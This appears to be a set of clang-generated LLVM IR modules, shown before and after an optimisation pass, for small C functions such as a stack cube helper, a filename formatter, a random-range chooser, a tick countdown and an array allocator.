; ModuleID = '/tmp/tmpve4714ir.c' source_filename = "/tmp/tmpve4714ir.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdout = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpve4714ir.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdout = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpspzk_ggl.c' source_filename = "/tmp/tmpspzk_ggl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cube(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca double, align 8 %4 = alloca double, align 8 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call i64 @isEmptyDynArr(ptr noundef %5) %7 = icmp ne i64 %6, 0 br i1 %7, label %8, label %9 8: ; preds = %1 br label %19 9: ; preds = %1 %10 = load ptr, ptr %2, align 8 %11 = call double @topDynArr(ptr noundef %10) store double %11, ptr %3, align 8 %12 = load ptr, ptr %2, align 8 %13 = call i32 @popDynArr(ptr noundef %12) %14 = load double, ptr %3, align 8 %15 = call double @pow(double noundef %14, i32 noundef 3) store double %15, ptr %4, align 8 %16 = load ptr, ptr %2, align 8 %17 = load double, ptr %4, align 8 %18 = call i32 @pushDynArr(ptr noundef %16, double noundef %17) br label %19 19: ; preds = %9, %8 ret void } declare i64 @isEmptyDynArr(ptr noundef) #1 declare double @topDynArr(ptr noundef) #1 declare i32 @popDynArr(ptr noundef) #1 declare double @pow(double noundef, i32 noundef) #1 declare i32 @pushDynArr(ptr noundef, double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpspzk_ggl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cube(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca double, align 8 %4 = alloca double, align 8 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call i64 @isEmptyDynArr(ptr noundef %5) %7 = icmp ne i64 %6, 0 br i1 %7, label %8, label %9 8: ; preds = %1 br label %19 9: ; preds = %1 %10 = load ptr, ptr %2, align 8 %11 = call double @topDynArr(ptr noundef %10) store double %11, ptr %3, align 8 %12 = load ptr, ptr %2, align 8 %13 = call i32 @popDynArr(ptr noundef %12) %14 = load double, ptr %3, align 8 %15 = call double @pow(double noundef %14, i32 noundef 3) store double %15, ptr %4, align 8 %16 = load ptr, ptr %2, align 8 %17 = load double, ptr %4, align 8 %18 = call i32 @pushDynArr(ptr noundef %16, double noundef %17) br label %19 19: ; preds = %9, %8 ret void } declare i64 @isEmptyDynArr(ptr noundef) #1 declare double @topDynArr(ptr noundef) #1 declare i32 @popDynArr(ptr noundef) #1 declare double @pow(double noundef, i32 noundef) #1 declare i32 @pushDynArr(ptr noundef, double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp8pekjc_z.c' source_filename = "/tmp/tmp8pekjc_z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [7 x i8] c"%s.brn\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @input_brain(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %5, align 8 %9 = call i32 @strlen(ptr noundef %8) %10 = add nsw i32 %9, 1 %11 = add nsw i32 %10, 3 %12 = add nsw i32 %11, 1 %13 = sext i32 %12 to i64 %14 = mul i64 %13, 1 %15 = trunc i64 %14 to i32 %16 = call ptr @malloc(i32 noundef %15) store ptr %16, ptr %6, align 8 %17 = load ptr, ptr %6, align 8 %18 = icmp eq ptr %17, null br i1 %18, label %19, label %20 19: ; preds = %2 store i32 -6, ptr %3, align 4 br label %36 20: ; preds = %2 %21 = load ptr, ptr %6, align 8 %22 = load ptr, ptr %5, align 8 %23 = call i64 @sprintf(ptr noundef %21, ptr noundef @.str, ptr noundef %22) %24 = icmp sle i64 %23, 0 br i1 %24, label %25, label %29 25: ; preds = %20 %26 = load ptr, ptr %6, align 8 %27 = call i32 @free(ptr noundef %26) %28 = call i32 @assert(i32 noundef 0) br label %29 29: ; preds = %25, %20 %30 = load ptr, ptr %4, align 8 %31 = load ptr, ptr %6, align 8 %32 = call i32 @load_brain(ptr noundef %30, ptr noundef %31) store i32 %32, ptr %7, align 4 %33 = load ptr, ptr %6, align 8 %34 = call i32 @free(ptr noundef %33) %35 = load i32, ptr %7, align 4 store i32 %35, ptr %3, align 4 br label %36 36: ; preds = %29, %19 %37 = load i32, ptr %3, align 4 ret i32 %37 } declare ptr @malloc(i32 noundef) #1 declare i32 @strlen(ptr noundef) #1 declare i64 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 declare i32 @assert(i32 noundef) #1 declare i32 @load_brain(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp8pekjc_z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [7 x i8] c"%s.brn\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @input_brain(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 %8 = load ptr, ptr %5, align 8 %9 = call i32 @strlen(ptr noundef %8) %10 = add nsw i32 %9, 1 %11 = add nsw i32 %10, 3 %12 = add nsw i32 %11, 1 %13 = sext i32 %12 to i64 %14 = mul i64 %13, 1 %15 = trunc i64 %14 to i32 %16 = call ptr @malloc(i32 noundef %15) store ptr %16, ptr %6, align 8 %17 = load ptr, ptr %6, align 8 %18 = icmp eq ptr %17, null br i1 %18, label %19, label %20 19: ; preds = %2 store i32 -6, ptr %3, align 4 br label %36 20: ; preds = %2 %21 = load ptr, ptr %6, align 8 %22 = load ptr, ptr %5, align 8 %23 = call i64 @sprintf(ptr noundef %21, ptr noundef @.str, ptr noundef %22) %24 = icmp sle i64 %23, 0 br i1 %24, label %25, label %29 25: ; preds = %20 %26 = load ptr, ptr %6, align 8 %27 = call i32 @free(ptr noundef %26) %28 = call i32 @assert(i32 noundef 0) br label %29 29: ; preds = %25, %20 %30 = load ptr, ptr %4, align 8 %31 = load ptr, ptr %6, align 8 %32 = call i32 @load_brain(ptr noundef %30, ptr noundef %31) store i32 %32, ptr %7, align 4 %33 = load ptr, ptr %6, align 8 %34 = call i32 @free(ptr noundef %33) %35 = load i32, ptr %7, align 4 store i32 %35, ptr %3, align 4 br label %36 36: ; preds = %29, %19 %37 = load i32, ptr %3, align 4 ret i32 %37 } declare ptr @malloc(i32 noundef) #1 declare i32 @strlen(ptr noundef) #1 declare i64 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 declare i32 @assert(i32 noundef) #1 declare i32 @load_brain(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpu2k_graj.c' source_filename = "/tmp/tmpu2k_graj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpu2k_graj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp2rvla2ig.c' source_filename = "/tmp/tmp2rvla2ig.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @random_chooser.first_shoot = internal global i32 1, align 4 @RAND_MAX = dso_local global double 0.000000e+00, align 8 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @random_chooser(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 { %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 %8 = load ptr, ptr %5, align 8 %9 = icmp ne ptr %8, null br i1 %9, label %10, label %14 10: ; preds = %3 %11 = load i32, ptr %6, align 4 %12 = load i32, ptr %7, align 4 %13 = icmp sle i32 %11, %12 br label %14 14: ; preds = %10, %3 %15 = phi i1 [ false, %3 ], [ %13, %10 ] %16 = zext i1 %15 to i32 %17 = call i32 @assert(i32 noundef %16) %18 = load i32, ptr %6, align 4 %19 = load i32, ptr %7, align 4 %20 = icmp sge i32 %18, %19 br i1 %20, label %21, label %22 21: ; preds = %14 store i32 -1, ptr %4, align 4 br label %43 22: ; preds = %14 %23 = load i32, ptr @random_chooser.first_shoot, align 4 %24 = icmp ne i32 %23, 0 br i1 %24, label %25, label %29 25: ; preds = %22 store i32 0, ptr @random_chooser.first_shoot, align 4 %26 = call i64 @time(ptr noundef null) %27 = trunc i64 %26 to i32 %28 = call i32 @srand(i32 noundef %27) br label %29 29: ; preds = %25, %22 %30 = load i32, ptr %7, align 4 %31 = load i32, ptr %6, align 4 %32 = sub nsw i32 %30, %31 %33 = sitofp i32 %32 to float %34 = call float (...) @rand() %35 = fmul float %33, %34 %36 = fpext float %35 to double %37 = load double, ptr @RAND_MAX, align 8 %38 = fadd double %37, 1.000000e+00 %39 = fdiv double %36, %38 %40 = fptosi double %39 to i32 %41 = load i32, ptr %6, align 4 %42 = add nsw i32 %40, %41 store i32 %42, ptr %4, align 4 br label %43 43: ; preds = %29, %21 %44 = load i32, ptr %4, align 4 ret i32 %44 } declare i32 @assert(i32 noundef) #1 declare i32 @srand(i32 noundef) #1 declare i64 @time(ptr noundef) #1 declare float @rand(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp2rvla2ig.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @random_chooser.first_shoot = internal global i32 1, align 4 @RAND_MAX = dso_local global double 0.000000e+00, align 8 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @random_chooser(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 { %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 %8 = load ptr, ptr %5, align 8 %9 = icmp ne ptr %8, null br i1 %9, label %10, label %14 10: ; preds = %3 %11 = load i32, ptr %6, align 4 %12 = load i32, ptr %7, align 4 %13 = icmp sle i32 %11, %12 br label %14 14: ; preds = %10, %3 %15 = phi i1 [ false, %3 ], [ %13, %10 ] %16 = zext i1 %15 to i32 %17 = call i32 @assert(i32 noundef %16) %18 = load i32, ptr %6, align 4 %19 = load i32, ptr %7, align 4 %20 = icmp sge i32 %18, %19 br i1 %20, label %21, label %22 21: ; preds = %14 store i32 -1, ptr %4, align 4 br label %43 22: ; preds = %14 %23 = load i32, ptr @random_chooser.first_shoot, align 4 %24 = icmp ne i32 %23, 0 br i1 %24, label %25, label %29 25: ; preds = %22 store i32 0, ptr @random_chooser.first_shoot, align 4 %26 = call i64 @time(ptr noundef null) %27 = trunc i64 %26 to i32 %28 = call i32 @srand(i32 noundef %27) br label %29 29: ; preds = %25, %22 %30 = load i32, ptr %7, align 4 %31 = load i32, ptr %6, align 4 %32 = sub nsw i32 %30, %31 %33 = sitofp i32 %32 to float %34 = call float (...) @rand() %35 = fmul float %33, %34 %36 = fpext float %35 to double %37 = load double, ptr @RAND_MAX, align 8 %38 = fadd double %37, 1.000000e+00 %39 = fdiv double %36, %38 %40 = fptosi double %39 to i32 %41 = load i32, ptr %6, align 4 %42 = add nsw i32 %40, %41 store i32 %42, ptr %4, align 4 br label %43 43: ; preds = %29, %21 %44 = load i32, ptr %4, align 4 ret i32 %44 } declare i32 @assert(i32 noundef) #1 declare i32 @srand(i32 noundef) #1 declare i64 @time(ptr noundef) #1 declare float @rand(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpy2igur2j.c' source_filename = "/tmp/tmpy2igur2j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdout = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [6 x i8] c"tick\0A\00", align 1 @.str.1 = private unnamed_addr constant [7 x i8] c"BOOM!\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 br label %3 3: ; preds = %12, %0 %4 = load i32, ptr %2, align 4 %5 = icmp slt i32 %4, 10 br i1 %5, label %6, label %15 6: ; preds = %3 %7 = load i32, ptr @stdout, align 4 %8 = call i32 @fprintf(i32 noundef %7, ptr noundef @.str) %9 = load i32, ptr @stdout, align 4 %10 = call i32 @fflush(i32 noundef %9) %11 = call i32 @sleep(i32 noundef 1) br label %12 12: ; preds = %6 %13 = load i32, ptr %2, align 4 %14 = add nsw i32 %13, 1 store i32 %14, ptr %2, align 4 br label %3, !llvm.loop !6 15: ; preds = %3 %16 = load i32, ptr @stdout, align 4 %17 = call i32 @fprintf(i32 noundef %16, ptr noundef @.str.1) ret i32 0 } declare i32 @fprintf(i32 noundef, ptr noundef) #1 declare i32 @fflush(i32 noundef) #1 declare i32 @sleep(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpy2igur2j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdout = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [6 x i8] c"tick\0A\00", align 1 @.str.1 = private unnamed_addr constant [7 x i8] c"BOOM!\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = icmp slt i32 %3, 10 br i1 %4, label %.lr.ph, label %16 .lr.ph: ; preds = %0 br label %5 5: ; preds = %.lr.ph, %11 %6 = load i32, ptr @stdout, align 4 %7 = call i32 @fprintf(i32 noundef %6, ptr noundef @.str) %8 = load i32, ptr @stdout, align 4 %9 = call i32 @fflush(i32 noundef %8) %10 = call i32 @sleep(i32 noundef 1) br label %11 11: ; preds = %5 %12 = load i32, ptr %2, align 4 %13 = add nsw i32 %12, 1 store i32 %13, ptr %2, align 4 %14 = load i32, ptr %2, align 4 %15 = icmp slt i32 %14, 10 br i1 %15, label %5, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %11 br label %16 16: ; preds = %._crit_edge, %0 %17 = load i32, ptr @stdout, align 4 %18 = call i32 @fprintf(i32 noundef %17, ptr noundef @.str.1) ret i32 0 } declare i32 @fprintf(i32 noundef, ptr noundef) #1 declare i32 @fflush(i32 noundef) #1 declare i32 @sleep(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpdrjnrq0d.c' source_filename = "/tmp/tmpdrjnrq0d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [49 x i8] c"ALLOC_1D_DBL: Couldn't allocate array of floats\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @alloc_1d_dbl(i32 noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 %5 = load i32, ptr %3, align 4 %6 = sext i32 %5 to i64 %7 = mul i64 %6, 4 %8 = trunc i64 %7 to i32 %9 = call i64 @malloc(i32 noundef %8) %10 = inttoptr i64 %9 to ptr store ptr %10, ptr %4, align 8 %11 = load ptr, ptr %4, align 8 %12 = icmp eq ptr %11, null br i1 %12, label %13, label %16 13: ; preds = %1 %14 = load i32, ptr @stderr, align 4 %15 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str) store ptr null, ptr %2, align 8 br label %18 16: ; preds = %1 %17 = load ptr, ptr %4, align 8 store ptr %17, ptr %2, align 8 br label %18 18: ; preds = %16, %13 %19 = load ptr, ptr %2, align 8 ret ptr %19 } declare i64 @malloc(i32 noundef) #1 declare i32 @fprintf(i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpdrjnrq0d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [49 x i8] c"ALLOC_1D_DBL: Couldn't allocate array of floats\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @alloc_1d_dbl(i32 noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 %5 = load i32, ptr %3, align 4 %6 = sext i32 %5 to i64 %7 = mul i64 %6, 4 %8 = trunc i64 %7 to i32 %9 = call i64 @malloc(i32 noundef %8) %10 = inttoptr i64 %9 to ptr store ptr %10, ptr %4, align 8 %11 = load ptr, ptr %4, align 8 %12 = icmp eq ptr %11, null br i1 %12, label %13, label %16 13: ; preds = %1 %14 = load i32, ptr @stderr, align 4 %15 = call i32 @fprintf(i32 noundef %14, ptr noundef @.str) store ptr null, ptr %2, align 8 br label %18 16: ; preds = %1 %17 = load ptr, ptr %4, align 8 store ptr %17, ptr %2, align 8 br label %18 18: ; preds = %16, %13 %19 = load ptr, ptr %2, align 8 ret ptr %19 } declare i64 @malloc(i32 noundef) #1 declare i32 @fprintf(i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp23p_9rpu.c' source_filename = "/tmp/tmp23p_9rpu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
